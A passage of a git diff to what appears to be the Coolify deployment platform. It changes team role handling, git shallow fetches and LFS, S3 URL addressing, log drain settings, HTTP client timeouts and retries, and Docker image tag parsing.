$this->member->teams()->where('teams.id', currentTeam()->id)->first()?->pivot?->role; } - private function auditRoleUpdate(int $teamId, Role $role): void + private function updateRole(Role $role): void { + $teamId = currentTeam()->id; + $previousRole = Role::from($this->getMemberRole()); + DB::transaction(function () use ($teamId, $role, $previousRole): void { + // A member gets the default team-wide access again. + $this->member->teams()->updateExistingPivot($teamId, $role === Role::MEMBER + ? ['role' => $role->value, 'access' => null] + : ['role' => $role->value]); + // A promotion keeps the tokens: the API checks the abilities against the role on each request. + if ($role->lt($previousRole)) { + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); + } + }); auditLog('ui.team_member.role_updated', [ 'team_id' => $teamId, 'member_id' => $this->member->id, diff --git a/app/Models/Application.php b/app/Models/Application.php index 37abf54f30..6e4108f9af 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1586,6 +1586,8 @@ class Application extends BaseModel : 'GIT_SSH_COMMAND="'.$resolvedGitSshCommand.'"') : 'GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"'; + $git_clone_command = $this->gitLfsSkipSmudgePrefix($onlyCheckout).$git_clone_command; + // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. // Invalid refs will cause the git checkout/fetch command to fail on the remote server. $commitToUse = $commit ?? $this->git_commit_sha; @@ -1593,9 +1595,18 @@ class Application extends BaseModel if ($commitToUse !== 'HEAD') { $escapedCommit = escapeshellarg($commitToUse); // If shallow clone is enabled and we need a specific commit, - // we need to fetch that specific commit with depth=1 + // we need to fetch that specific commit with depth=1. + // A remote cannot fetch a short SHA (Bitbucket sends one for pull requests), + // so fetch the tip of each branch and let the checkout expand it. When the + // commit is not a branch tip, fetch the full history of the branches. if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && echo 'Fetching the commit.' && {$sshCommand} {$gitCommand} fetch --depth=1 origin {$escapedCommit} && {$gitCommand} -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $checkoutCommand = "{$gitCommand} -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + if (preg_match('/\A[0-9a-fA-F]{7,39}\z/', $commitToUse) === 1) { + $branchesRefspec = escapeshellarg('+refs/heads/*:refs/remotes/origin/*'); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && echo 'Fetching the commit.' && {$sshCommand} {$gitCommand} fetch --depth=1 origin {$branchesRefspec} && ({$checkoutCommand} || (echo 'The commit is not a branch tip. Fetching the full history.' && {$sshCommand} {$gitCommand} fetch --unshallow origin {$branchesRefspec} && {$checkoutCommand}))"; + } else { + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && echo 'Fetching the commit.' && {$sshCommand} {$gitCommand} fetch --depth=1 origin {$escapedCommit} && {$checkoutCommand}"; + } } else { $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} {$gitCommand} -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } @@ -1866,6 +1877,16 @@ class Application extends BaseModel ]; } + /** + * The helper image installs the Git LFS filter system-wide, so every checkout downloads + * LFS objects unless the smudge filter is skipped. A checkout that only reads files (the + * Compose file) never needs LFS objects. + */ + private function gitLfsSkipSmudgePrefix(bool $onlyCheckout = false): string + { + return $this->settings->is_git_lfs_enabled && ! $onlyCheckout ? '' : 'export GIT_LFS_SKIP_SMUDGE=1 && '; + } + private function gitCommandsAsShellCommand(Collection|array|string $commands): string { if (is_string($commands)) { @@ -1979,10 +2000,11 @@ class Application extends BaseModel $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name, gitConfigOptions: $gitConfigOption ?? null); $escapedPrBranch = escapeshellarg($branch); + $git_pr_command = "{$this->gitLfsSkipSmudgePrefix($only_checkout)}cd {$escapedBaseDir} && git fetch origin {$escapedPrBranch} && $git_checkout_command"; if ($exec_in_docker) { - $commands->push($this->gitCommand(executeInDocker($deployment_uuid, "cd {$escapedBaseDir} && git fetch origin {$escapedPrBranch} && $git_checkout_command"))); + $commands->push($this->gitCommand(executeInDocker($deployment_uuid, $git_pr_command))); } else { - $commands->push($this->gitCommand("cd {$escapedBaseDir} && git fetch origin {$escapedPrBranch} && $git_checkout_command")); + $commands->push($this->gitCommand($git_pr_command)); } } @@ -2266,6 +2288,23 @@ class Application extends BaseModel instant_remote_process($commands, $this->destination->server, false); } + /** + * The services of the Compose file, read without parse(). A parse saves volumes and variables, so + * code that only needs the service names uses this. + * + * @return array + */ + public function composeServicesWithoutParse(): array + { + try { + $services = data_get(parseDockerComposeYaml((string) $this->docker_compose_raw), 'services'); + } catch (\Throwable) { + return []; + } + + return is_array($services) ? $services : []; + } + public function parse(int $pull_request_id = 0, ?int $preview_id = null, ?string $commit = null) { if ((int) $this->compose_parsing_version >= 3) { diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index e0d68780a7..93df2afc47 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -42,6 +42,13 @@ class EnvironmentVariable extends BaseModel { use Auditable; + /** + * Flags that a "# coolify:" line of the developer view can set, with their defaults. + * + * @var array + */ + public const DEV_VIEW_FLAG_DEFAULTS = ['literal' => false, 'buildtime' => true, 'runtime' => true]; + public const BUILDPACK_CONTROL_VARIABLE_PREFIXES = ['NIXPACKS_', 'RAILPACK_']; /** @@ -101,6 +108,7 @@ class EnvironmentVariable extends BaseModel 'value' => 'encrypted', 'preserve_compose_null' => 'boolean', 'is_multiline' => 'boolean', + 'is_literal' => 'boolean', 'is_preview' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index 50d5a51578..d96632a683 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -72,6 +72,11 @@ class LocalFileVolume extends BaseModel done SH; + /** + * The pull request whose preview this copy writes. Not saved: see forPullRequest(). + */ + protected int $previewPullRequestId = 0; + protected $casts = [ // 'fs_path' => 'encrypted', // 'mount_path' => 'encrypted', @@ -343,10 +348,17 @@ class LocalFileVolume extends BaseModel validateShellSafePath($path, 'storage path'); $escapedPath = escapeshellarg($path); - $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); - $isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server); + $state = self::remoteFileStates([(string) $path], $server)[0]; + if ($state === 'unknown') { + throw new \Exception("Coolify cannot check the file {$path} on the server."); + } + if ($state === 'other' && ! $this->is_directory) { + throw new \Exception("A symbolic link or a special file is at {$path} on the server. Coolify did not write the file."); + } + $isFile = $state === 'file'; + $isDir = in_array($state, ['directory', 'empty-directory'], true); $replacesEmptyDirectory = false; - if ($isFile === 'OK' && $this->is_directory) { + if ($isFile && $this->is_directory) { if ($this->remoteFileExceedsLimit($escapedPath, $server)) { $this->content = self::TOO_LARGE_PLACEHOLDER; } else { @@ -356,7 +368,7 @@ class LocalFileVolume extends BaseModel $this->save(); FileStorageChanged::dispatch(data_get($server, 'team_id')); throw new \Exception('The following file is a file on the server, but you are trying to mark it as a directory. Please delete the file on the server or mark it as directory.'); - } elseif ($isDir === 'OK' && ! $this->is_directory) { + } elseif ($isDir && ! $this->is_directory) { if ($path === '/' || $path === '.' || $path === '..' || $path === '' || str($path)->isEmpty() || is_null($path)) { $this->is_directory = true; $this->save(); @@ -364,12 +376,12 @@ class LocalFileVolume extends BaseModel } // Docker creates a missing bind source as an empty directory. Replace only an empty // directory inside the resource directory; never delete files that are on the server. - if ($isOutsideResourceDirectory || self::remoteFileStates([(string) $path], $server)[0] !== 'empty-directory') { + if ($isOutsideResourceDirectory || $state !== 'empty-directory') { throw new \Exception("The following file is a directory on the server, but you are trying to mark it as a file: {$path}

    Please delete the directory on the server or mark it as directory."); } $replacesEmptyDirectory = true; } - if (($isDir === 'NOK' || $replacesEmptyDirectory) && ! $this->is_directory) { + if ((! $isDir || $replacesEmptyDirectory) && ! $this->is_directory) { if ($replacesEmptyDirectory) { $commands->push("rmdir {$escapedPath}"); } @@ -388,7 +400,7 @@ class LocalFileVolume extends BaseModel if ($chmod) { $commands->push('chmod -- '.escapeshellarg($chmod)." {$escapedPath}"); } - } elseif ($isDir === 'NOK' && $this->is_directory) { + } elseif (! $isDir && $this->is_directory) { $commands->push("mkdir -p {$escapedPath} > /dev/null 2>&1 || true"); } @@ -405,22 +417,24 @@ class LocalFileVolume extends BaseModel * front of it and never changes the script. See REMOTE_FILE_STATE_SCRIPT for the output. * * @param list $paths + * @param (Closure(string): string)|null $quote Makes a shell argument of a path. The default is escapeshellarg(). */ - public static function remoteFileStateCommand(array $paths): string + public static function remoteFileStateCommand(array $paths, ?Closure $quote = null): string { - return 'sh -c '.escapeshellarg(self::REMOTE_FILE_STATE_SCRIPT).' sh '.implode(' ', array_map('escapeshellarg', $paths)); + return 'sh -c '.escapeshellarg(self::REMOTE_FILE_STATE_SCRIPT).' sh '.implode(' ', array_map($quote ?? escapeshellarg(...), $paths)); } /** * Gets the state of each path with one server command. A path without a state in the output is `unknown`. * * @param list $paths + * @param (Closure(string): string)|null $quote Makes a shell argument of a path. The default is escapeshellarg(). * @return list */ - public static function remoteFileStates(array $paths, Server $server): array + public static function remoteFileStates(array $paths, Server $server, ?Closure $quote = null): array { $states = []; - $output = (string) instant_remote_process([self::remoteFileStateCommand($paths)], $server, false); + $output = (string) instant_remote_process([self::remoteFileStateCommand($paths, $quote)], $server, false); foreach (preg_split('/\R/', trim($output)) as $line) { if (preg_match('/^(\d+):([a-z-]+)$/', trim($line), $matches)) { $states[(int) $matches[1] - 1] = $matches[2]; @@ -560,16 +574,28 @@ class LocalFileVolume extends BaseModel public function resolvedFsPath(string $workdir): Stringable { $path = trim((string) $this->fs_path); - if (str_starts_with($path, '/') || str_starts_with($path, '~')) { - return str($path); - } - if (str_starts_with($path, '.')) { - $path = substr($path, 1); + if (! str_starts_with($path, '/') && ! str_starts_with($path, '~')) { + if (str_starts_with($path, '.')) { + $path = substr($path, 1); + } + $path = ltrim($path, '/'); + $path = rtrim($workdir, '/').($path === '' ? '' : '/'.$path); } - $path = ltrim($path, '/'); + return str(addPreviewDeploymentSuffix($path, $this->previewPullRequestId)); + } - return str(rtrim($workdir, '/').($path === '' ? '' : '/'.$path)); + /** + * A copy that uses the path of the preview of a pull request, as the Compose parser mounts it + * (`-pr-` unless the PR suffix is off for this storage). The row keeps the path of + * the application, so saving the copy never stores the preview path. + */ + public function forPullRequest(int $pullRequestId): static + { + $copy = clone $this; + $copy->previewPullRequestId = $pullRequestId !== 0 && ($this->is_preview_suffix_enabled ?? true) ? $pullRequestId : 0; + + return $copy; } /** diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 9857b4faf2..6bd9f88322 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -23,6 +23,17 @@ class S3Storage extends BaseModel private const REQUEST_TIMEOUT_SECONDS = 15; + /** + * Endpoint host suffixes of providers that reject path-style URLs: Alibaba Cloud OSS, Tencent Cloud COS + * (buckets created after 2024-01-01), and Volcengine / BytePlus TOS. + */ + private const VIRTUAL_HOSTED_STYLE_HOST_SUFFIXES = ['aliyuncs.com', 'myqcloud.com', 'volces.com', 'bytepluses.com']; + + /** + * Parts of the errors that these providers return for a path-style request. + */ + private const PATH_STYLE_REJECTION_ERRORS = ['secondleveldomainforbidden', 'pathstyledomainforbidden', 'virtual hosted style', 'virtual-hosted style', 'virtual-styled']; + protected $fillable = [ 'team_id', 'name', @@ -32,6 +43,7 @@ class S3Storage extends BaseModel 'secret', 'bucket', 'endpoint', + 'use_path_style_endpoint', 'is_usable', 'unusable_email_sent', ]; @@ -43,6 +55,7 @@ class S3Storage extends BaseModel protected $casts = [ 'is_usable' => 'boolean', + 'use_path_style_endpoint' => 'boolean', 'key' => 'encrypted', 'secret' => 'encrypted', ]; @@ -217,9 +230,7 @@ class S3Storage extends BaseModel throw new \RuntimeException('S3 bucket name is not allowed: '.$validator->errors()->first('bucket')); } - $disk = $this->filesystem(); - // Test the connection by listing files with ListObjectsV2 (S3) - $disk->files(); + $this->listFilesWithAddressingStyleFallback(); $this->unusable_email_sent = false; $this->is_usable = true; @@ -265,7 +276,7 @@ class S3Storage extends BaseModel 'secret' => $this['secret'], 'bucket' => $this['bucket'], 'endpoint' => $this['endpoint'], - 'use_path_style_endpoint' => true, + 'use_path_style_endpoint' => $this->usesPathStyleEndpoint(), 'http' => array_merge(SafeWebhookUrl::httpClientOptions($this['endpoint'], $this->trustedInternalHosts()), [ 'connect_timeout' => self::CONNECTION_TIMEOUT_SECONDS, 'timeout' => self::REQUEST_TIMEOUT_SECONDS, @@ -282,6 +293,70 @@ class S3Storage extends BaseModel return '-e '.escapeshellarg('MC_REGION='.$this->region); } + /** + * Path-style URLs (`endpoint/bucket`) are the default. Providers like Alibaba Cloud OSS only accept + * virtual-hosted-style URLs (`bucket.endpoint`). A storage that is not saved yet has no value, so it uses the default. + */ + public function usesPathStyleEndpoint(): bool + { + return $this->use_path_style_endpoint ?? true; + } + + /** + * The URL style for a new storage: virtual-hosted style for providers that reject path-style URLs, else path-style. + */ + public static function detectPathStyleEndpoint(?string $endpoint): bool + { + $host = strtolower((string) parse_url((string) $endpoint, PHP_URL_HOST)); + + return ! collect(self::VIRTUAL_HOSTED_STYLE_HOST_SUFFIXES) + ->contains(fn (string $suffix): bool => $host === $suffix || str_ends_with($host, '.'.$suffix)); + } + + /** + * Tests the connection with ListObjectsV2. When the provider rejects path-style URLs, it tests again with + * virtual-hosted-style URLs and keeps that style when it works. + */ + private function listFilesWithAddressingStyleFallback(): void + { + try { + $this->filesystem()->files(); + } catch (\Throwable $exception) { + if (! $this->usesPathStyleEndpoint() || ! self::isPathStyleRejection($exception)) { + throw $exception; + } + + $this->use_path_style_endpoint = false; + try { + $this->filesystem()->files(); + } catch (\Throwable) { + $this->use_path_style_endpoint = true; + + throw $exception; + } + } + } + + private static function isPathStyleRejection(\Throwable $exception): bool + { + for ($current = $exception; $current !== null; $current = $current->getPrevious()) { + if (str($current->getMessage())->lower()->contains(self::PATH_STYLE_REJECTION_ERRORS)) { + return true; + } + } + + return false; + } + + /** + * The `mc alias set` option that makes the MinIO client use virtual-hosted-style URLs, as filesystem() does. + * With path-style URLs, mc keeps its own `auto` lookup, as before. + */ + public function minioClientPathOption(): string + { + return $this->usesPathStyleEndpoint() ? '' : ' --path off'; + } + /** * The bundled MinIO container is a trusted internal S3 target, not a user-supplied webhook destination. * diff --git a/app/Models/Server.php b/app/Models/Server.php index d5ffa27e76..d13f1f468f 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -462,6 +462,20 @@ class Server extends BaseModel static::flushIdentityMap(); } + /** + * Refresh the status of the linked cloud server from its provider. + */ + public function refreshCloudProviderState(): ?string + { + return match ($this->cloudProviderToken?->provider) { + 'hetzner' => $this->hetzner_server_id ? $this->refreshHetznerState() : null, + 'vultr' => $this->vultr_instance_id ? $this->refreshVultrState() : null, + 'digitalocean' => $this->digitalocean_droplet_id ? $this->refreshDigitalOceanState() : null, + 'hostinger' => $this->hostinger_virtual_machine_id ? $this->refreshHostingerState() : null, + default => null, + }; + } + public function refreshHetznerState(): ?string { // Another instance manages the cloud server of an archive; keep the stored status. @@ -2200,7 +2214,7 @@ $siteAddress { */ public function isFluentBitLogDrainEnabled(): bool { - return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_highlight_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled; + return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled; } public function validateOS(): bool|Stringable diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 8a9c599331..f251b7fd5a 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -29,7 +29,6 @@ use OpenApi\Attributes as OA; 'is_logdrain_axiom_enabled' => ['type' => 'boolean'], 'is_logdrain_cloudwatch_enabled' => ['type' => 'boolean'], 'is_logdrain_custom_enabled' => ['type' => 'boolean'], - 'is_logdrain_highlight_enabled' => ['type' => 'boolean'], 'is_logdrain_newrelic_enabled' => ['type' => 'boolean'], 'is_metrics_enabled' => ['type' => 'boolean'], 'is_traffic_analytics_enabled' => ['type' => 'boolean'], @@ -49,12 +48,12 @@ use OpenApi\Attributes as OA; 'is_usable' => ['type' => 'boolean'], 'logdrain_axiom_api_key' => ['type' => 'string'], 'logdrain_axiom_dataset_name' => ['type' => 'string'], + 'logdrain_axiom_domain' => ['type' => 'string', 'description' => 'Base domain of the Axiom edge deployment, for example us-east-1.aws.edge.axiom.co or eu-central-1.aws.edge.axiom.co.'], 'logdrain_cloudwatch_region' => ['type' => 'string'], 'logdrain_cloudwatch_group' => ['type' => 'string'], 'logdrain_cloudwatch_stream_prefix' => ['type' => 'string'], 'logdrain_custom_config' => ['type' => 'string'], 'logdrain_custom_config_parser' => ['type' => 'string'], - 'logdrain_highlight_project_id' => ['type' => 'string'], 'logdrain_newrelic_base_uri' => ['type' => 'string'], 'logdrain_newrelic_license_key' => ['type' => 'string'], 'sentinel_metrics_history_days' => ['type' => 'integer'], @@ -93,6 +92,11 @@ class ServerSetting extends Model public const int DEFAULT_SENTINEL_PUSH_INTERVAL_SECONDS = 60; + /** + * Axiom edge deployment for US East 1. See https://axiom.co/docs/reference/edge-deployments. + */ + public const string DEFAULT_AXIOM_DOMAIN = 'us-east-1.aws.edge.axiom.co'; + protected $fillable = [ 'server_id', 'is_swarm_manager', @@ -109,11 +113,10 @@ class ServerSetting extends Model 'is_logdrain_newrelic_enabled', 'logdrain_newrelic_license_key', 'logdrain_newrelic_base_uri', - 'is_logdrain_highlight_enabled', - 'logdrain_highlight_project_id', 'is_logdrain_axiom_enabled', 'logdrain_axiom_dataset_name', 'logdrain_axiom_api_key', + 'logdrain_axiom_domain', 'is_swarm_worker', 'is_logdrain_custom_enabled', 'logdrain_custom_config', diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 086cc33e50..e0f40a4542 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -11,6 +11,14 @@ class SharedEnvironmentVariable extends Model { use Auditable; + /** + * Flags that a "# coolify:" line of the developer view can set, with their defaults. + * Shared variables have no buildtime or runtime flags. + * + * @var array + */ + public const DEV_VIEW_FLAG_DEFAULTS = ['literal' => false]; + protected $fillable = [ // Core identification 'key', @@ -40,6 +48,7 @@ class SharedEnvironmentVariable extends Model protected $casts = [ 'key' => 'string', 'value' => 'encrypted', + 'is_literal' => 'boolean', ]; /** diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index d0b0e7a5e1..0c8353e765 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -56,7 +56,7 @@ class StandaloneKeydb extends BaseModel 'health_check_start_period', ]; - protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; + protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; /** * Sensitive fields hidden by default in serialized output (toArray/toJson). diff --git a/app/Models/User.php b/app/Models/User.php index d92f620dcf..a195a0d05c 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -174,7 +174,6 @@ class User extends Authenticatable implements PasskeyUser, SendsEmail if ($found_other_member_who_is_not_owner) { $found_other_member_who_is_not_owner->pivot->role = 'owner'; $found_other_member_who_is_not_owner->pivot->save(); - RevokeUserTeamTokens::forUserTeam($found_other_member_who_is_not_owner, $team->id); $team->members()->detach($user->id); } else { static::finalizeTeamDeletion($user, $team); diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index 21db1febfd..510ffe3b7b 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -10,6 +10,7 @@ use App\Models\Server; use App\Rules\SafeExternalUrl; use App\Services\Access\AccessResolver; use App\Support\AtomicFilesystem; +use App\Support\RetryHttpConnectionFailures; use Illuminate\Database\Eloquent\Model; use Illuminate\Foundation\Console\ConfigCacheCommand; use Illuminate\Foundation\Console\RouteCacheCommand; @@ -45,6 +46,7 @@ class AppServiceProvider extends ServiceProvider $this->configureModels(); $this->configurePasswords(); $this->configureSanctumModel(); + $this->configureHttpClient(); $this->configureGitHubHttp(); $this->configureGitLabHttp(); $this->configureOidcSocialite(); @@ -126,6 +128,12 @@ class AppServiceProvider extends ServiceProvider }); } + private function configureHttpClient(): void + { + Http::globalOptions(['connect_timeout' => 10, 'timeout' => 30]); + Http::globalMiddleware(new RetryHttpConnectionFailures); + } + private function configureGitHubHttp(): void { Http::macro('GitSource', function (string $url) { diff --git a/app/Rules/DockerImageFormat.php b/app/Rules/DockerImageFormat.php index 038cc27619..4c1acf2066 100644 --- a/app/Rules/DockerImageFormat.php +++ b/app/Rules/DockerImageFormat.php @@ -9,6 +9,11 @@ use Illuminate\Translation\PotentiallyTranslatedString; class DockerImageFormat implements ValidationRule { + /** + * @param bool $allowVariableTag Allow $VAR tags. Use it only for images that Docker Compose runs, because only Compose fills in the variables. + */ + public function __construct(private bool $allowVariableTag = false) {} + /** * Run the validation rule. * @@ -35,15 +40,15 @@ class DockerImageFormat implements ValidationRule if (preg_match('/\A(.+)@sha256:([a-f0-9]{64})\z/i', $value, $matches) === 1) { $imageName = $matches[1]; } else { - $lastColon = strrpos($value, ':'); $lastSlash = strrpos($value, '/'); - if ($lastColon !== false && ($lastSlash === false || $lastColon > $lastSlash)) { - $imageName = substr($value, 0, $lastColon); - $tag = substr($value, $lastColon + 1); + $tagColon = strpos($value, ':', $lastSlash === false ? 0 : $lastSlash + 1); + if ($tagColon !== false) { + $imageName = substr($value, 0, $tagColon); + $tag = substr($value, $tagColon + 1); } } - if (! ValidationPatterns::isValidDockerImageName($imageName) || ! ValidationPatterns::isValidDockerImageTag($tag)) { + if (! ValidationPatterns::isValidDockerImageName($imageName) || ! ValidationPatterns::isValidDockerImageTag($tag, allowVariables: $this->allowVariableTag)) { $fail('The :attribute format is invalid. Use image:tag or image@sha256:hash format.'); } } diff --git a/app/Services/CloudflareTokenValidator.php b/app/Services/CloudflareTokenValidator.php index a48efda741..265268ccb0 100644 --- a/app/Services/CloudflareTokenValidator.php +++ b/app/Services/CloudflareTokenValidator.php @@ -2,14 +2,13 @@ namespace App\Services; -use Illuminate\Http\Client\PendingRequest; use Illuminate\Support\Facades\Http; class CloudflareTokenValidator { public function validate(string $token, array $capabilities): bool { - $client = $this->client($token); + $client = Http::withToken($token)->acceptJson(); $verification = $client->get('https://api.cloudflare.com/client/v4/user/tokens/verify'); if (! $verification->successful() || $verification->json('result.status') !== 'active') { @@ -42,12 +41,4 @@ class CloudflareTokenValidator return true; } - - private function client(string $token): PendingRequest - { - return Http::withToken($token) - ->acceptJson() - ->connectTimeout(5) - ->timeout(10); - } } diff --git a/app/Services/CloudflareTunnelService.php b/app/Services/CloudflareTunnelService.php index 09c2ab72bf..ac25a3b0eb 100644 --- a/app/Services/CloudflareTunnelService.php +++ b/app/Services/CloudflareTunnelService.php @@ -283,6 +283,6 @@ class CloudflareTunnelService private function client(IntegrationToken $token): PendingRequest { - return Http::withToken($token->token)->acceptJson()->connectTimeout(5)->timeout(15); + return Http::withToken($token->token)->acceptJson(); } } diff --git a/app/Services/DigitalOceanService.php b/app/Services/DigitalOceanService.php index da1af942f4..423fc4f0dc 100644 --- a/app/Services/DigitalOceanService.php +++ b/app/Services/DigitalOceanService.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Exceptions\CloudProviderApiException; use App\Exceptions\RateLimitException; use Illuminate\Http\Client\RequestException; use Illuminate\Support\Facades\Http; @@ -45,7 +46,7 @@ class DigitalOceanService ); } - throw new \Exception('DigitalOcean API error: '.$response->json('message', 'Unknown error'), $response->status()); + throw new CloudProviderApiException('DigitalOcean', $response->json('message', 'Unknown error'), $response->status(), $response->json('id')); } return $response->json() ?? []; diff --git a/app/Services/Dns/CloudflareDnsProvider.php b/app/Services/Dns/CloudflareDnsProvider.php index 9c7748ff8b..614ab066dd 100644 --- a/app/Services/Dns/CloudflareDnsProvider.php +++ b/app/Services/Dns/CloudflareDnsProvider.php @@ -512,6 +512,6 @@ class CloudflareDnsProvider private function client(IntegrationToken $token): PendingRequest { - return Http::withToken($token->token)->acceptJson()->connectTimeout(5)->timeout(10); + return Http::withToken($token->token)->acceptJson(); } } diff --git a/app/Services/DockerImageParser.php b/app/Services/DockerImageParser.php index b483c979a3..b74a96f7f3 100644 --- a/app/Services/DockerImageParser.php +++ b/app/Services/DockerImageParser.php @@ -20,15 +20,15 @@ class DockerImageParser $this->tag = $matches[2]; $this->isImageHash = true; } else { - // Split by : to handle the tag, but be careful with registry ports - $lastColon = strrpos($imageString, ':'); - $hasSlash = str_contains($imageString, '/'); + // The tag starts at the first colon after the last slash. A colon before + // the last slash is a registry port, and a later colon can be part of a + // ${VAR:-default} tag. + $lastSlash = strrpos($imageString, '/'); + $tagColon = strpos($imageString, ':', $lastSlash === false ? 0 : $lastSlash + 1); - // If the last colon appears after the last slash, it's a tag - // Otherwise it might be a port in the registry URL - if ($lastColon !== false && (! $hasSlash || $lastColon > strrpos($imageString, '/'))) { - $mainPart = substr($imageString, 0, $lastColon); - $this->tag = substr($imageString, $lastColon + 1); + if ($tagColon !== false) { + $mainPart = substr($imageString, 0, $tagColon); + $this->tag = substr($imageString, $tagColon + 1); // Check if the tag is a SHA256 hash $this->isImageHash = $this->isSha256Hash($this->tag); diff --git a/app/Services/DopplerService.php b/app/Services/DopplerService.php index 2513a4f7d8..b9cf24650e 100644 --- a/app/Services/DopplerService.php +++ b/app/Services/DopplerService.php @@ -50,8 +50,6 @@ class DopplerService private function client(): PendingRequest { return Http::withToken($this->token) - ->acceptJson() - ->connectTimeout(5) - ->timeout(10); + ->acceptJson(); } } diff --git a/app/Services/FileDownloadStorageService.php b/app/Services/FileDownloadStorageService.php index f342873c9c..578afb36ae 100644 --- a/app/Services/FileDownloadStorageService.php +++ b/app/Services/FileDownloadStorageService.php @@ -119,7 +119,7 @@ class FileDownloadStorageService 'version' => 'latest', 'region' => $storage->region, 'endpoint' => $storage->endpoint, - 'use_path_style_endpoint' => true, + 'use_path_style_endpoint' => $storage->usesPathStyleEndpoint(), 'credentials' => false, 'retries' => 0, 'http' => array_merge(SafeWebhookUrl::httpClientOptions($storage->endpoint, $storage->trustedInternalHosts()), [ diff --git a/app/Services/HetznerService.php b/app/Services/HetznerService.php index c9675a24c8..10e8ed3ffd 100644 --- a/app/Services/HetznerService.php +++ b/app/Services/HetznerService.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Exceptions\CloudProviderApiException; use App\Exceptions\RateLimitException; use Illuminate\Http\Client\RequestException; use Illuminate\Support\Facades\Http; @@ -44,7 +45,17 @@ class HetznerService // Exponential backoff for other retriable errors: 100ms, 200ms, 400ms return $attempt * 100; - }) + }, function (\Exception $exception) use ($method) { + if ($exception instanceof RequestException && $exception->response->status() === 429) { + return true; + } + + // A POST that failed with a 5xx or a timeout can still have created the resource, so only idempotent requests are sent again. + // Client errors such as 401, 403, or 422 do not change when the request is sent again. + $isServerError = ! $exception instanceof RequestException || $exception->response->status() >= 500; + + return $isServerError && in_array(strtolower($method), ['get', 'delete'], true); + }, throw: false) ->{$method}($this->baseUrl.$endpoint, $data); if (! $response->successful()) { @@ -61,7 +72,13 @@ class HetznerService ); } - throw new \Exception('Hetzner API error: '.$response->json('error.message', 'Unknown error')); + throw new CloudProviderApiException( + 'Hetzner', + $response->json('error.message', 'Unknown error'), + $response->status(), + $response->json('error.code'), + collect($response->json('error.details.fields', []))->pluck('name')->all(), + ); } return $response->json(); @@ -101,16 +118,31 @@ class HetznerService ]); } - public function getServerTypes(): array + /** + * Server types that can be ordered now. Each type keeps only the locations + * where it is in stock and not deprecated, and types with no such location are removed. + * With $includeOutOfStock, locations where the type is out of stock are kept. + */ + public function getServerTypes(?string $location = null, bool $includeOutOfStock = false): array { $types = $this->requestPaginated('get', '/server_types', 'server_types'); - // Filter out entries where "deprecated" is explicitly true - $filtered = array_filter($types, function ($type) { - return ! (isset($type['deprecated']) && $type['deprecated'] === true); - }); + return collect($types) + ->reject(fn (array $type) => ($type['deprecated'] ?? false) === true) + ->map(function (array $type) use ($includeOutOfStock) { + $type['locations'] = collect($type['locations'] ?? []) + ->filter(fn (array $typeLocation) => empty($typeLocation['deprecation']) + && ($includeOutOfStock || ($typeLocation['available'] ?? true) === true)) + ->values() + ->all(); - return array_values($filtered); + return $type; + }) + ->filter(fn (array $type) => $location === null + ? $type['locations'] !== [] + : in_array($location, array_column($type['locations'], 'name'), true)) + ->values() + ->all(); } public function getSshKeys(): array diff --git a/app/Services/IntegrationTokenValidator.php b/app/Services/IntegrationTokenValidator.php index 2872a83a91..1df5b5f16b 100644 --- a/app/Services/IntegrationTokenValidator.php +++ b/app/Services/IntegrationTokenValidator.php @@ -40,4 +40,11 @@ class IntegrationTokenValidator default => 'The token could not be verified.', }; } + + public function connectionErrorMessage(string $provider): string + { + $name = IntegrationToken::PROVIDER_NAMES[$provider] ?? ucfirst($provider); + + return "Could not connect to the {$name} API. Check the network connection of Coolify and try again."; + } } diff --git a/app/Services/SentinelTrafficClient.php b/app/Services/SentinelTrafficClient.php index 5398456a33..c5545d57a9 100644 --- a/app/Services/SentinelTrafficClient.php +++ b/app/Services/SentinelTrafficClient.php @@ -8,6 +8,7 @@ use App\Data\Traffic\TrafficPathData; use 